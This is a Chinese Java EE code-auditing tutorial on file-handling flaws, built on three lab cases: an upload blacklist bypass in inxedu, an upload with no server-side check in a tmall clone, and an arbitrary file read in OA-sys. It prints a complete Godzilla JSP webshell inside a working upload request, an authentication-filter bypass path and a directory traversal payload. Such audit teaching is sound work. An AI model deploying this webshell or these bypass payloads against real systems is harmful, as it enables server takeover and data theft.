JavaEE代码审计-文件函数 #
文件函数
1:搜索类别
2:搜索功能点来找到代码
new File(
String path
String fileName
new FileInputStream(
new FileOutputStream(
new FileReader
response.setContentType("application/octet-stream;
file.delete();
FileUtils.
new ZipEntity(
file.getName(
.unzip(
.mkdirs(
stream.write(
save2File(
fos、fis.close()
MultipartFile(
file.getOriginalFilename(
IOUtil
FileUtil
download
fileName
filePath
write
getFile
getPath
getWriter
上传 // 搜注释
下载 // 搜注释
案例一: inxedu教育系统-文件上传黑名单校验 #
搭建注意mysql版本选择低一点的5.0 并且tomcat里面的工件路径是根目录
这里登录用127.0.0.1 登录用户密码登录上去了用localhost不可以不知道为什么
通过功能点找到代码点–发现文件上传测试点
http://127.0.0.1:82/image/gok4?¶m=temp&fileType=jpg,gif,png,jpeg 数据包如下
¶m=temp&fileType=jpg,gif,png,jpeg
------WebKitFormBoundary7JcghSZ4pcHSbNEt
Content-Disposition: form-data; name="uploadfile"; filename="44.jpg"
Content-Type: image/jpeg
------WebKitFormBoundary7JcghSZ4pcHSbNEt--
但是上传的代码我们一直没有找到啊 最后发现在jar包里面 所以我们找不到的时候可以看看jar包
demo_inxedu_open\src\main\webapp\WEB-INF\lib\inxedu-jar.jar!\com\inxedu\os\common\controller\ImageUploadController.class
可以发现下面代码用的是黑名单过滤,通过拿到后缀比对是否有jsp来判断但是JSP和php一样 比如php5一样可以执行JSP也是一样的有JSPX在哥斯拉生成后缀中
但是上传注意他是jpg,gif,png,jpeg 包含上传的后门所以我们在这后面也要加上jspx
@RequestMapping(
value = {"/gok4"},
method = {RequestMethod.POST}
)
public String gok4(HttpServletRequest request, HttpServletResponse response, @RequestParam(value = "uploadfile",required = true) MultipartFile uploadfile, @RequestParam(value = "param",required = false) String param, @RequestParam(value = "fileType",required = true) String fileType, @RequestParam(value = "pressText",required = false) String pressText) {
try {
long maxSize = 4096000L;
System.out.println(uploadfile.getSize());
if (uploadfile.getSize() > maxSize) {
return this.responseErrorData(response, 1, "上传的图片大小不能超过4M。");
} else {
String[] type = fileType.split(",");
this.setFileTypeList(type);
String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
if (fileType.contains(ext) && !"jsp".equals(ext)) {
String filePath = this.getPath(request, ext, param);
File file = new File(this.getProjectRootDirPath(request) + filePath);
if (!file.getParentFile().exists()) {
file.getParentFile().mkdirs();
}
uploadfile.transferTo(file);
return this.responseData(filePath, 0, "上传成功", response);
} else {
return this.responseErrorData(response, 1, "文件格式错误,上传失败。");
}
}
修复
- 不信任客户端输入:硬编码允许的文件类型,拒绝所有脚本后缀;白名单
- 验证文件本质:通过文件头和内容判断真实类型,而非仅依赖后缀;
- 隔离危险文件:重命名文件,禁止上传目录的脚本解析;
- 限制访问和频率:防止恶意用户滥用上传功能。
修复:使用白名单校验
案例二:天猫tmall-前端校验-绕过鉴权 #
首先在admin界面找到上传点
通过F12找到后端接口
tmall/admin/uploadAdminHeadImage
源码如下就是上传提交一个Muil图片数据获取后缀随机生成随机名字 注意没有进行过滤
@ResponseBody
@RequestMapping(value = "admin/uploadAdminHeadImage", method = RequestMethod.POST, produces = "application/json;charset=UTF-8")
public String uploadAdminHeadImage(@RequestParam MultipartFile file, HttpSession session) {
String originalFileName = file.getOriginalFilename();
logger.info("获取图片原始文件名:{}", originalFileName);
assert originalFileName != null;
String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
//生成随机名
String fileName = UUID.randomUUID() + extension;
//获取上传路径
String filePath = session.getServletContext().getRealPath("/") + "res/images/item/adminProfilePicture/" + fileName;
logger.info("文件上传路径:{}", filePath);
JSONObject jsonObject = new JSONObject();
try {
logger.info("文件上传中...");
file.transferTo(new File(filePath));
logger.info("文件上传成功!");
jsonObject.put("success", true);
jsonObject.put("fileName", fileName);
} catch (IOException e) {
logger.warn("文件上传失败!");
e.printStackTrace();
jsonObject.put("success", false);
}
return jsonObject.toJSONString();
}
我们上传一个其他的会提示请选择图片
这时候我自己判断是前端校验我们搜索关键字找到了JS文件
这应该就是只是判断mime是不是image然后就通过
function uploadImage(fileDom) {
//获取文件
var file = fileDom.files[0];
//判断类型
var imageType = /^image\//;
if (file === undefined || !imageType.test(file.type)) {
alert("请选择图片!");
return;
}
//判断大小
if (file.size > 512000) {
alert("图片大小不能超过500K!");
return;
}
//清空值
$(fileDom).val('');
var formData = new FormData();
formData.append("file", file);
//上传图片
$.ajax({
url: "/tmall/user/uploadUserHeadImage",
type: "post",
data: formData,
contentType: false,
processData: false,
dataType: "json",
mimeType: "multipart/form-data",
success: function (data) {
if (data.success) {
$(fileDom).prev("img").attr("src","/tmall/res/images/item/userProfilePicture/"+data.fileName);
$("#user_profile_picture_src_value").val(data.fileName);
} else {
alert("图片上传异常!");
}
},
beforeSend: function () {
},
error: function () {
}
});
}
而且后端完全没有过滤所以我们就上传一个图片然后修改为JSP后缀文件
哥斯拉后门
POST /tmall/admin/uploadAdminHeadImage HTTP/1.1
Host: 192.168.56.1:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2WnYeHXgLweiQ8gE
Origin: http://192.168.56.1:8088
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: http://192.168.56.1:8088/tmall/admin
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=C0DDD52737477BA74E6A776BCB355385; username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1760498678; Hm_lvt_1040d081eea13b44d84a4af639640d51=1761036833,1761037048
Content-Length: 200
------WebKitFormBoundary2WnYeHXgLweiQ8gE
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
------WebKitFormBoundary2WnYeHXgLweiQ8gE--
成功连接
过滤器绕过 #
他的用途
``/admin/*路径的请求(比如/admin/user、/admin/order等),检查用户是否已登录为管理员;未登录则强制跳转到登录页,已登录则允许访问目标资源
这里代码用了过滤器filter 它是运行在服务器之前的
@WebFilter(filterName="adminPermissionFilter",urlPatterns= {"/admin/*"})
public class AdminPermissionFilter implements Filter {
//log4j2
protected Logger logger = LogManager.getLogger(AdminPermissionFilter.class);
@Override
public void init(FilterConfig filterConfig) { }
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
//如果是(登录界面,登录态失效界面),直接放行
if(servletRequest.getRequestURI().contains("/admin/login") ||
servletRequest.getRequestURI().contains("/admin/account")
){
chain.doFilter(request, response);
} else {
logger.info("检查管理员权限");
Object o = servletRequest.getSession().getAttribute("adminId");
if(o == null){
logger.info("无管理权限,返回管理员登陆页");
request.getRequestDispatcher("/admin/login").forward(request, response);
} else {
logger.info("权限验证成功,管理员ID:{}",o);
chain.doFilter(request, response);
}
}
}
@Override
public void destroy() { }
}
但是注意到没,如果我们是/admin/login/../../tmall/admin/uploadAdminHeadImage 就可以绕过逻辑直接放行
因为他只判断前面有没有这个/admin/login 或者 admiiin/account
案例三:OA-sys 文件任意读取 #
搜索 new FileInputStream( 找到
src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
@RequestMapping("image/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws Exception {
String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
System.out.println(projectPath);
String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
String path = startpath.replace("/image", "");
System.out.println(path);
File f = new File(rootpath, path);
System.out.println(rootpath);
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
代码很简单传入image/后面的把 image替换为空然后读取数据打印到浏览器
/image///image..//image..//image..//image..//image..//image..//1.txt 那就是这样
但是你想啊 我直接输入/image/../../../../../../1.txt 可以吗
不可以 因为../直接就把 /image给去掉了 都找不到接口位置了 直接就变成了 www.xxx.com/1.txt